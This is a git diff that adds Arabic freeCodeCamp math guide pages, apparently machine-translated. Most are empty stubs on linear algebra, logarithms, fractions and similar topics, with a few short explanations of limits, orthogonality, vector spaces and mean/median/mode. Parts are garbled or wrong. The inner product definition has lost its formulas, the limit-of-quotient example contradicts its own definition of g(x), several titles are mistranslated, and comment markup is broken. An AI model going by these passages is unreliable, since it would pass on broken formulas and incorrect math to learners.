+مرة أخرى ، افترض f (x) = x. الحد الأقصى ، نظرًا لميل x إلى 5 الآن:
+
+lim (10 \* x) = 10 lim (x) = 50
+
+lim (10x) = 50
+
+*   **قطاع**
+
+![تقسيم الحدود](http://tutorial.math.lamar.edu/Classes/CalcI/LimitsProperties_files/eq0006MP.gif)
+
+الحد من التقسيم هو تقسيم الحدود.
+
+دع f (x) = 2x و g (x) = x + 1. تأكد من أن الوظيفة التي ستنشئها ليست صفراً. جعل x يميل إلى 2 ، وكان لديك:
+
+lim (2x / x) = lim 2x / lim x = 4/2 = 2
+
+أو lim (2x / 2) = lim 2 = 2. هذه دالة ثابتة ، لذا بغض النظر عن مقدار ما تمشي عليه alonf ، فإن القيمة ستميل دائمًا إلى قيمة معينة واحدة.
+
+*   **قوة**
+
+![قوة الحدود](http://tutorial.math.lamar.edu/Classes/CalcI/LimitsProperties_files/eq0007MP.gif)
+
+إذا كان n عددًا صحيحًا.
+
+دع f (x) تساوي x + 1 والسماح x يميل إلى 2. افترض الحد التالي:
+
+lim \[(x + 1)\] ^ 2 = (3) ^ 2 = 9
+
+lim \[(x + 1)\] ^ 2 = lim (x ^ 2 + 2x + 1) = 9 (لاحظ أنه يمكنك استخدام خاصية sum أيضًا!)
+
+#### معلومات اكثر:
+
+[ملاحظات وأمثلة أخرى](http://tutorial.math.lamar.edu/Classes/CalcI/LimitsProperties.aspx)
+
+[مقدمة للحد من محاضرة](https://www.khanacademy.org/math/ap-calculus-ab/ab-limits-continuity/ab-limits-graphically/v/introduction-to-limits-hd)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/linear-algebra/canonical-form/index.md b/client/src/guide/arabic/mathematics/linear-algebra/canonical-form/index.md
new file mode 100644
index 0000000000..998d92f051
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/linear-algebra/canonical-form/index.md
@@ -0,0 +1,11 @@
+---
+title: Canonical Form
+localeTitle: النموذج الكنسي
+---
+## النموذج الكنسي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/linear-algebra/canonical-form/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/linear-algebra/determinants/index.md b/client/src/guide/arabic/mathematics/linear-algebra/determinants/index.md
new file mode 100644
index 0000000000..ea7ab1b0ee
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/linear-algebra/determinants/index.md
@@ -0,0 +1,11 @@
+---
+title: Determinants
+localeTitle: المحددات
+---
+## المحددات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/linear-algebra/determinants/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/linear-algebra/eigenvectors/index.md b/client/src/guide/arabic/mathematics/linear-algebra/eigenvectors/index.md
new file mode 100644
index 0000000000..5be54755d4
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/linear-algebra/eigenvectors/index.md
@@ -0,0 +1,11 @@
+---
+title: Eigenvectors
+localeTitle: المتجهات الذاتية
+---
+## المتجهات الذاتية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/linear-algebra/eigenvectors/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/linear-algebra/index.md b/client/src/guide/arabic/mathematics/linear-algebra/index.md
new file mode 100644
index 0000000000..9198b606a7
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/linear-algebra/index.md
@@ -0,0 +1,11 @@
+---
+title: Linear Algebra
+localeTitle: الجبر الخطي
+---
+## الجبر الخطي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/linear-algebra/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/linear-algebra/inner-product-spaces/index.md b/client/src/guide/arabic/mathematics/linear-algebra/inner-product-spaces/index.md
new file mode 100644
index 0000000000..733f9f9746
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/linear-algebra/inner-product-spaces/index.md
@@ -0,0 +1,14 @@
+---
+title: Inner Product Spaces
+localeTitle: مساحات المنتجات الداخلية
+---
+## مساحات المنتجات الداخلية
+
+### المقدمة
+
+دع V يكون فضاء متجه على الحقل F. إن المنتج الداخلي عبارة عن دالة تعين لكل زوج من متجهات x و y في V ، وهي قيمة قياسية في F ، تشير إلى بحيث تكون x و V و V و F:
+
+*   \= +
+*   \= ل
+*   \= (X و Y تشيران إلى اقتران x و y على التوالي)
+*   \= 0 لكل x! = 0
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/linear-algebra/linear-mappings/index.md b/client/src/guide/arabic/mathematics/linear-algebra/linear-mappings/index.md
new file mode 100644
index 0000000000..58b5223cf1
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/linear-algebra/linear-mappings/index.md
@@ -0,0 +1,11 @@
+---
+title: Linear Mappings
+localeTitle: التعيينات الخطية
+---
+## التعيينات الخطية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/linear-algebra/linear-mappings/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/linear-algebra/matrix-algebra/index.md b/client/src/guide/arabic/mathematics/linear-algebra/matrix-algebra/index.md
new file mode 100644
index 0000000000..7a3a1c19f2
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/linear-algebra/matrix-algebra/index.md
@@ -0,0 +1,11 @@
+---
+title: Matrix Algebra
+localeTitle: مصفوفة الجبر
+---
+## مصفوفة الجبر
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/linear-algebra/matrix-algebra/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/linear-algebra/orthogonality/index.md b/client/src/guide/arabic/mathematics/linear-algebra/orthogonality/index.md
new file mode 100644
index 0000000000..25e696481a
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/linear-algebra/orthogonality/index.md
@@ -0,0 +1,24 @@
+---
+title: Orthogonality
+localeTitle: التعامد
+---
+## التعامد
+
+في الرياضيات والجبر الخطي ، يقال عن اثنين من المتجهات u و v يكونا متعامدين عندما يكون منتجهما نقطة 0:  
+![المنتج نقطة](http://mathworld.wolfram.com/images/equations/OrthogonalVectors/Inline3.gif)  
+يمكن اعتبار التعامدية على أنها [عموديًا عامًا](http://mathworld.wolfram.com/Perpendicular.html) إلى مسافات ناقل أعلى الأبعاد ، حيث أن الاثنين متشابهين - مما يعني ضمناً أن الزاوية اليمنى تتكون من الخط أو الطائرة أو المتجه.
+
+![زاوية مستقيمة](http://mathworld.wolfram.com/images/eps-gif/Perpendicular_1000.gif)
+
+فيما يلي كافة أمثلة التعامد:
+
+1.  إذا كان هناك متعامدان متعامدين ، أي أنهما يلتقيان أو يتقاطعان بزاوية يمينية (90 درجة) ، يكونان متعامدين.
+2.  متجهان متعامدان إذا كان منتجهما الداخلي (منتج نقطة) يساوي 0.
+3.  تكون فئتان متجهتان للجهتين A و B في V متعامدين إذا كان كل متجه في V متعامدًا مع كل متجه في B.
+
+<! - [سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
+
+1.  http://mathworld.wolfram.com/Orthogonal.html
+2.  http://mathworld.wolfram.com/Perpendicular.html
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/linear-algebra/projections/index.md b/client/src/guide/arabic/mathematics/linear-algebra/projections/index.md
new file mode 100644
index 0000000000..5095b515d1
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/linear-algebra/projections/index.md
@@ -0,0 +1,11 @@
+---
+title: Projections
+localeTitle: التوقعات
+---
+## التوقعات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/linear-algebra/projections/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/linear-algebra/spans/index.md b/client/src/guide/arabic/mathematics/linear-algebra/spans/index.md
new file mode 100644
index 0000000000..eda6018609
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/linear-algebra/spans/index.md
@@ -0,0 +1,15 @@
+---
+title: Spans
+localeTitle: القناطر
+---
+## القناطر
+
+##### المقدمة
+
+دع S تكون مجموعة فرعية غير خالية من مساحة المتجه V. امتداد S ، المشار إليه بالامتداد (S) ، هو المجموعة التي تحتوي على جميع المجموعات الخطية من النواقل في S. للراحة ، نحدد النطاق (∅) = {0} .
+
+أو
+
+دع S تكون مجموعة من النواقل في الفضاء الموجه W. يُعرَّف الفضاء الفرعي الممتد عبر S بأنه التقاطع W لكل المساحات الفرعية لـ V التي تحتوي على S. S هي مجموعة محدودة من المتجهات ، S = {α1، α2،…، αn} ، يجب علينا ببساطة أن نطلق على W المساحة الفرعية التي تغطيها المتجهات α1 ، α2 ، ... ، αn.
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/linear-algebra/systems-of-linear-equations/index.md b/client/src/guide/arabic/mathematics/linear-algebra/systems-of-linear-equations/index.md
new file mode 100644
index 0000000000..59c7e0a83a
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/linear-algebra/systems-of-linear-equations/index.md
@@ -0,0 +1,11 @@
+---
+title: Systems of Linear Equations
+localeTitle: نظم المعادلات الخطية
+---
+## نظم المعادلات الخطية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/linear-algebra/systems-of-linear-equations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/linear-algebra/vector-spaces/index.md b/client/src/guide/arabic/mathematics/linear-algebra/vector-spaces/index.md
new file mode 100644
index 0000000000..2bded1af04
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/linear-algebra/vector-spaces/index.md
@@ -0,0 +1,19 @@
+---
+title: Vector Spaces
+localeTitle: مسافات الفضاء
+---
+## مسافات الفضاء
+
+فضاء V المتجه عبارة عن مجموعة من المتجهات التي يتم إغلاقها تحت مضاعفة ناقل الحركة والإضافة. وهذا يعني أن النواقل الناتجة عن إضافة المتجهات والضرب تكون أيضًا داخل مساحة المتجه:
+
+1.  إذا كانت a و b متجهتين في الفضاء V ، عندئذ يكون a + b في V أيضًا.
+2.  إذا كان c عبارة عن عددي و a و b متجهين في V ، فإن ab و ac أيضاً متجهين داخل V. عندما تكون هذه الخصائص صحيحة ، فإن المساحة المتجهة تكون "مغلقة" تحت إضافة المتجه وضرب العددية.
+
+<! - هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/linear-algebra/vector-spaces/index.md) .
+
+<! - [سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
+
+1.  http://mathworld.wolfram.com/VectorSpace.html
+2.  http://www.math.toronto.edu/gscott/WhatVS.pdf
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/linear-algebra/vectors/index.md b/client/src/guide/arabic/mathematics/linear-algebra/vectors/index.md
new file mode 100644
index 0000000000..329fc79413
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/linear-algebra/vectors/index.md
@@ -0,0 +1,11 @@
+---
+title: Vectors
+localeTitle: ثلاثة أبعاد
+---
+## ثلاثة أبعاد
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/linear-algebra/vectors/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/linear-equations-and-functions/index.md b/client/src/guide/arabic/mathematics/linear-equations-and-functions/index.md
new file mode 100644
index 0000000000..0be323a675
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/linear-equations-and-functions/index.md
@@ -0,0 +1,11 @@
+---
+title: Linear Equations and Functions
+localeTitle: المعادلات الخطية والوظائف
+---
+## المعادلات الخطية والوظائف
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/linear-equations-and-functions/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/linear-equations/index.md b/client/src/guide/arabic/mathematics/linear-equations/index.md
new file mode 100644
index 0000000000..3864f1c6f4
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/linear-equations/index.md
@@ -0,0 +1,13 @@
+---
+title: Linear Equations
+localeTitle: المعادلات الخطية
+---
+## المعادلات الخطية
+
+المعادلة الخطية هي خط مستقيم من نقطة إلى أخرى ، والتي يمكن التعبير عنها من خلال المعادلة أو الرسم البياني.
+
+معادلة دالة خطية هي **y = mx + b** .
+
+*   _"y"_ هي الإحداثيات y على المنحدر
+*   _'mx'_ هو المنحدر ، أو المعدل الذي تتجه المعادلة إليه. ويمكن حساب ذلك باستخدام **(y2-y1 / x2-x1)** ، حيث يكون البسط هو التحول الرأسي ، في حين أن المقام هو التحول الأفقي.
+*   _'b'_ هي التقاطع y ، أو حيث تلتقي الدالة الخطية مع المحور y.
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/local-linearity/index.md b/client/src/guide/arabic/mathematics/local-linearity/index.md
new file mode 100644
index 0000000000..4e9a7bd2ab
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/local-linearity/index.md
@@ -0,0 +1,11 @@
+---
+title: Local Linearity
+localeTitle: الخطي المحلية
+---
+## الخطي المحلية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/local-linearity/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/logarithmic-equations-variable-in-the-argument/index.md b/client/src/guide/arabic/mathematics/logarithmic-equations-variable-in-the-argument/index.md
new file mode 100644
index 0000000000..fafc733f38
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/logarithmic-equations-variable-in-the-argument/index.md
@@ -0,0 +1,11 @@
+---
+title: Logarithmic Equations Variable in the Argument
+localeTitle: معادلات لوغاريتمي متغير في الحجة
+---
+## معادلات لوغاريتمي متغير في الحجة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/logarithmic-equations-variable-in-the-argument/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/logarithms-introduction-to-the-relationship/index.md b/client/src/guide/arabic/mathematics/logarithms-introduction-to-the-relationship/index.md
new file mode 100644
index 0000000000..99a8644b4e
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/logarithms-introduction-to-the-relationship/index.md
@@ -0,0 +1,11 @@
+---
+title: Logarithms Introduction to the Relationship
+localeTitle: اللوغاريتمات مقدمة في العلاقة
+---
+## اللوغاريتمات مقدمة في العلاقة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/logarithms-introduction-to-the-relationship/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/long-division/index.md b/client/src/guide/arabic/mathematics/long-division/index.md
new file mode 100644
index 0000000000..63f01aed6b
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/long-division/index.md
@@ -0,0 +1,11 @@
+---
+title: Long Division
+localeTitle: قسم طويل
+---
+## قسم طويل
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/long-division/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/long-polynomial-division/index.md b/client/src/guide/arabic/mathematics/long-polynomial-division/index.md
new file mode 100644
index 0000000000..7e413fe2db
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/long-polynomial-division/index.md
@@ -0,0 +1,11 @@
+---
+title: Long Polynomial Division
+localeTitle: قسم متعدد الحدود الطويل
+---
+## قسم متعدد الحدود الطويل
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/long-polynomial-division/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/maclaurin-series/index.md b/client/src/guide/arabic/mathematics/maclaurin-series/index.md
new file mode 100644
index 0000000000..8204749375
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/maclaurin-series/index.md
@@ -0,0 +1,9 @@
+---
+title: Maclaurin Series
+localeTitle: سلسلة ماكلورين
+---
+## سلسلة ماكلورين
+
+سلسلة Maclaurin هي حالة خاصة من سلسلة Taylor ، متمركزة عند 0. وهي عبارة عن سلسلة طاقة تمكن الشخص من حساب تقريب دالة f (x) لقيم الإدخال القريبة من الصفر.
+
+[مرجع سلسلة Maclaurin](http://mathworld.wolfram.com/MaclaurinSeries.html) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/matrix-inverse/index.md b/client/src/guide/arabic/mathematics/matrix-inverse/index.md
new file mode 100644
index 0000000000..fc9f94581a
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/matrix-inverse/index.md
@@ -0,0 +1,11 @@
+---
+title: Matrix Inverse
+localeTitle: ماتريكس معكوس
+---
+## ماتريكس معكوس
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/matrix-inverse/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/matrix-inversion-finding-the-inverse-of-a-matrix/index.md b/client/src/guide/arabic/mathematics/matrix-inversion-finding-the-inverse-of-a-matrix/index.md
new file mode 100644
index 0000000000..f230967c10
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/matrix-inversion-finding-the-inverse-of-a-matrix/index.md
@@ -0,0 +1,11 @@
+---
+title: Matrix Inversion Finding the Inverse of a Matrix
+localeTitle: Matrix Inversion العثور على معكوس المصفوفة
+---
+## Matrix Inversion العثور على معكوس المصفوفة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/matrix-inversion-finding-the-inverse-of-a-matrix/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/mean-absolute-deviation-mad/index.md b/client/src/guide/arabic/mathematics/mean-absolute-deviation-mad/index.md
new file mode 100644
index 0000000000..37c9ef9e4f
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/mean-absolute-deviation-mad/index.md
@@ -0,0 +1,11 @@
+---
+title: Mean Absolute Deviation Mad
+localeTitle: يعني الانحراف المطلق جنون
+---
+## يعني الانحراف المطلق جنون
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/mean-absolute-deviation-mad/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/mean-median-mode-and-range/index.md b/client/src/guide/arabic/mathematics/mean-median-mode-and-range/index.md
new file mode 100644
index 0000000000..ad17dc0c4d
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/mean-median-mode-and-range/index.md
@@ -0,0 +1,59 @@
+---
+title: Mean Median Mode and Range
+localeTitle: يعني متوسط ​​الوضع والمدى
+---
+## متوسط ​​، متوسط ​​، وضع ، ومدى
+
+يستخدم الإحصائيون وعلماء الرياضيات المتوسط ​​والوسيط والوضع والنطاق لمعرفة معلومات حول مجموعة من الأرقام.
+
+ `Example set: 
+ 
+ 5, -4, 11, 5, 5, 20, 8.5, 11 
+` 
+
+لحساب **نطاق** مجموعة ، خذ الرقم الأكبر ، والرمز x ، وأقل عدد ، والرمز y ، وحساب xy. سيعطي النطاق إشارة إلى مدى انتشار الأرقام.
+
+ `Smallest value: -4 
+ Largest value: 20 
+ 
+ 20 - (-4) = 24 
+ 
+ The range is 24 
+` 
+
+لحساب **المتوسط** ، أضف جميع الأرقام معًا وانقسم على إجمالي عدد العناصر في المجموعة. هذا هو المقصود عادة عند مناقشة "المتوسط".
+
+ `5 + (-4) + 11 + 5 + 5 + 20 + 8.5 + 11 = 61.5 
+ 
+ Sum: 61.5 
+ Count: 8 
+ 
+ 61.5 / 8 = 7.6875 
+ 
+ The mean is 7.6875 
+` 
+
+لحساب **الوضع** ، ابحث عن الرقم الذي يتم تكراره بشكل متكرر. على سبيل المثال ، بالنسبة للأعداد 1،2،3،4،5،6،7،7،7 سيكون الوضع 7 لأن هناك ثلاثة 7s في المجموعة ، وهو أعلى من أي رقم آخر.
+
+ `Put the set in order so it's easier to see how 
+ many of each value there are: 
+ 
+ -4, 5, 5, 5, 8.5, 11, 11, 20 
+ 
+ 5 appears three times, 11 appears twice and 
+ everything else appears once. 
+ 
+ The mode is 5 
+` 
+
+لحساب **المتوسط** ، قم بترتيب كافة الأرقام بترتيب متزايد وقم بتخطي أعلى وأعلى رقم حتى يظهر رقم واحد أو رقمين فقط. إذا كان هناك رقم واحد متبقٍ ، فهذا الرقم هو الوسيط. إذا كان هناك رقمان ، فقم بإضافة رقمين ثم قسّم على 2 للحصول على الوسيط. على سبيل المثال ، في 1،2،3،4،5،6،7،7،7 سيكون المتوسط ​​5.
+
+ `First, put the set in order: 
+ 
+ -4, 5, 5, 5, 8.5, 11, 11, 20 
+ 
+ The third 5 and 8.5 are the middle values... 
+ (5 + 8.5) / 2 = 6.75 
+ 
+ The median is 6.75 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/mean-value-theorem/index.md b/client/src/guide/arabic/mathematics/mean-value-theorem/index.md
new file mode 100644
index 0000000000..dd3e3f31c6
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/mean-value-theorem/index.md
@@ -0,0 +1,11 @@
+---
+title: Mean Value Theorem
+localeTitle: يعني نظرية القيمة
+---
+## يعني نظرية القيمة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/mean-value-theorem/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/metric-units-of-length-review-mm-cm-m-and-km/index.md b/client/src/guide/arabic/mathematics/metric-units-of-length-review-mm-cm-m-and-km/index.md
new file mode 100644
index 0000000000..17b3b6dac0
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/metric-units-of-length-review-mm-cm-m-and-km/index.md
@@ -0,0 +1,11 @@
+---
+title: Metric Units of Length Review Mm Cm M and Km
+localeTitle: الوحدات المترية لمراجعة الطول Mm Cm M و Km
+---
+## الوحدات المترية لمراجعة الطول Mm Cm M و Km
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/metric-units-of-length-review-mm-cm-m-and-km/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/mixed-fractions/index.md b/client/src/guide/arabic/mathematics/mixed-fractions/index.md
new file mode 100644
index 0000000000..68319479ac
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/mixed-fractions/index.md
@@ -0,0 +1,11 @@
+---
+title: Mixed Fractions
+localeTitle: الكسور المختلطة
+---
+## الكسور المختلطة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/mixed-fractions/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/more-trig-sub-practice/index.md b/client/src/guide/arabic/mathematics/more-trig-sub-practice/index.md
new file mode 100644
index 0000000000..e530631d04
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/more-trig-sub-practice/index.md
@@ -0,0 +1,11 @@
+---
+title: More Trig Sub Practice
+localeTitle: المزيد من الممارسة الفرعية المثلث
+---
+## المزيد من الممارسة الفرعية المثلث
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/more-trig-sub-practice/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/multiplication-times-tables/index.md b/client/src/guide/arabic/mathematics/multiplication-times-tables/index.md
new file mode 100644
index 0000000000..7397393b3e
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/multiplication-times-tables/index.md
@@ -0,0 +1,11 @@
+---
+title: Multiplication Times Tables
+localeTitle: جداول تايمز الضرب
+---
+## جداول تايمز الضرب
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/multiplication-times-tables/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/multiplying-decimals-example/index.md b/client/src/guide/arabic/mathematics/multiplying-decimals-example/index.md
new file mode 100644
index 0000000000..168d4cb573
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/multiplying-decimals-example/index.md
@@ -0,0 +1,11 @@
+---
+title: Multiplying Decimals Example
+localeTitle: ضرب الكسور العشرية على سبيل المثال
+---
+## ضرب الكسور العشرية على سبيل المثال
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/multiplying-decimals-example/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/multiplying-fractions/index.md b/client/src/guide/arabic/mathematics/multiplying-fractions/index.md
new file mode 100644
index 0000000000..77eaed74ed
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/multiplying-fractions/index.md
@@ -0,0 +1,30 @@
+---
+title: Multiplying Fractions
+localeTitle: ضرب الكسور
+---
+## ضرب الكسور
+
+يتم استخدام كسر بشكل عام لتمثيل رقم يمثل نسبة رقمين.
+
+النظر في الكسر 4 ⁄ 5 ، وهنا يسمى 4 البسط و 5 يسمى القاسم.
+
+فيما يلي خطوات ضرب الكسور اثنين
+
+1.  اضرب البسط ومقام الكسور
+2.  إذا كان ذلك ممكنًا ، قم بتبسيط الكسر الناتج
+
+#### مثال 1
+
